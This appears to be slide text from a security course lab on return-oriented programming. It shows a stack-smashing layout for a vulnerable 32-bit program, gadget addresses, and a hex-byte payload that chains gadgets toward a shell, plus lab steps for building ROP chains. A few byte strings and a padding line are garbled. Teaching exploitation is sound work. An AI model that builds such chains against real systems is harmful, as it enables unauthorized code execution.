
  

RETURN ORIENTED PROGRAMMING



  

ROP EXAMPLE

● Vulnerable Program.

gcc -m32 -fno-stack-protector --noexecstack -o rop rop.c



  

ROP EXAMPLE

● The Stack.

Buffer

Saved ebp

Return Address
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● The Stack.

Buffer
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ROP EXAMPLE

● The Stack.

Buffer

Saved ebp

Return Address/ binGadget

Pop e#x; ret

binParam

bashGadget

execGadget

bashParam1

bashParam2



  

ROP GADGETS



  

ROP GADGETS

0x565556fb : pop ebp ; ret



  

ROP EXAMPLE

● The Stack.

Buffer

Saved ebp

Return Address/ binGadget

pop e#x; ret

binParam

bashGadget

execGadget

bashParam1

bashParam2

execGadget

pop e#x; pop e#x; ret



  

ROP EXAMPLE

● The Stack.

\x41\x41\x41\x41
..
..

\x41\x41\x41\x41

\x42\x42\x4\x42

\x78\x55\x55\x56

Pop e#x; ret

\xef\xbe\xad\xde

\xc5\x55\x55\x56

\x4d\x55\x55\x56

\xbe\xba\xfe\xca

\x0d\xf0\xad\x0b

“BBBB”

“AAAA”
..
..
“AAAA”



  

ROP EXAMPLE

● The Stack.

\x41\x41\x41\x41
..
..

\x41\x41\x41\x41

\x42\x42\x4\x42

\x78\x55\x55\x56

\xfb\x56\x55\x56

\xef\xbe\xad\xde

\xc5\x55\x55\x56

\x4d\x55\x55\x56

\xbe\xba\xfe\xca

\x0d\xf0\xad\x0b

“BBBB”

“AAAA”
..
..
“AAAA”



  

ROP EXAMPLE

● The Exploit.



  

ROP EXAMPLE

● Safe Exit.

Buffer

Saved ebp

Return Address/ binGadget

pop e#x; ret

binParam

bashGadget

execGadget

bashParam1

bashParam2

execGadget

pop e#x; pop e#x; ret

exit



  

ROP FOR SHELLCODE : LAB 2b



  

ROP EXAMPLE

● Vulnerable Program.



  

ROP EXAMPLE

● Compile Program.

● Generate ROP Chains.



  

ROP EXAMPLE

● View Gadgets.

● Generate exploit using ROP Chains.



  

ROP EXAMPLE

● Find padding.

● Add padding and print exploit.

– P = “A” * 00

– Print A

● Exploit using ROP Chains.
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